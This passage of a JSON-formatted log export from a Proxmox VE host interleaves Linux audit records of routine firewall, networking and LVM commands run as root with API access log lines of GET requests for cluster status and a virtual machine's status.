a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.602:59734): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.684:68632): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965421952,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964535340,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.340:61427): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.676:68629): argc=1 a0=\"date\""} {"@timestamp":1781964840848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.848:62861): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.320:65961): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.597:59733): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.680:68631): arch=c000003e syscall=59 success=yes exit=0 a0=5adb314ad0a0 a1=5adb314a9e20 a2=5adb3148b680 a3=5 items=2 ppid=65900 pid=65906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965421952,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781964535336,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.336:61426): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.670:68627): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964840848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.848:62860): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.320:65960): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.593:59732): arch=c000003e syscall=59 success=yes exit=0 a0=629b0ff5c0a0 a1=629b0ff58e20 a2=629b0ff3a680 a3=5 items=2 ppid=57358 pid=57364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.677:68630): arch=c000003e syscall=59 success=yes exit=0 a0=5adb1a75fac8 a1=7ffe7df04ae0 a2=5adb3148b680 a3=5adb1a74324e items=2 ppid=65900 pid=65902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965421952,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964535330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.330:61425): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966145660,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.660:68626): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964840841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.841:62858): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.310:65958): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.589:59731): arch=c000003e syscall=59 success=yes exit=0 a0=629aefcb4ac8 a1=7ffdf661f700 a2=629b0ff3a680 a3=629aefc9824e items=2 ppid=57358 pid=57360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.676:68629): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7df04aa0 a1=5adb31492310 a2=5adb3148b680 a3=5 items=2 ppid=65900 pid=65901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965421952,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964535323,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.323:61424): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966145651,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.651:68625): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964840841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.841:62857): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.310:65957): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.587:59730): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdf661f6c0 a1=629b0ff41310 a2=629b0ff3a680 a3=5 items=2 ppid=57358 pid=57359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.670:68627): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965420749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=EXECVE msg=audit(1781964534.742:61423): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145644,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.644:68624): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964835834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.834:62855): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.302:65955): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.583:59728): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.660:68626): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965420749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=EXECVE msg=audit(1781964534.733:61420): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145636,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.636:68623): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964835834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.834:62854): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.302:65954): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.576:59727): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.651:68625): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965420749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964534216,"@rawstring":"node=pve type=EXECVE msg=audit(1781964534.216:61417): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966145627,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.627:68622): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964835820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.820:62852): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.217:65950): arch=c000003e syscall=59 success=no exit=-2 a0=7fff208fa770 a1=5ee28df2b310 a2=5ee28df24680 a3=5 items=1 ppid=63343 pid=63344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.569:59726): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.644:68624): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965418743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964534186,"@rawstring":"node=pve type=EXECVE msg=audit(1781964534.186:61416): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.572:68621): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964835820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.820:62851): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.100:65932): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc73d0b010 a1=5b2a8fda3200 a2=5b2a8fd81680 a3=5 items=1 ppid=63324 pid=63325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.564:59725): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.636:68623): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec9f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965418743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964529.724:61415): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.561:68618): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964835353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.353:62847): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3f375be0 a1=5a04a782b310 a2=5a04a7824680 a3=5 items=1 ppid=60300 pid=60301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.292:65922): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.558:59724): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1388e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.627:68622): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965418743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=EXECVE msg=audit(1781964529.709:61412): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966144465,"@rawstring":"node=pve type=EXECVE msg=audit(1781966144.465:68615): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964835272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.272:62829): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe95e69b40 a1=599ec0ae2310 a2=599ec0adb680 a3=5 items=1 ppid=60281 pid=60282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.292:65921): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964135551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.551:59723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f85e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.572:68621): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965418743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781964525313,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.313:61409): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966144431,"@rawstring":"node=pve type=EXECVE msg=audit(1781966144.431:68614): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964830810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.810:62819): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.280:65919): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964134329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964134.329:59722): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be910 a1=64f8d73d5240 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.561:68618): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65893 auid=4294967295 uid=0 gid=0 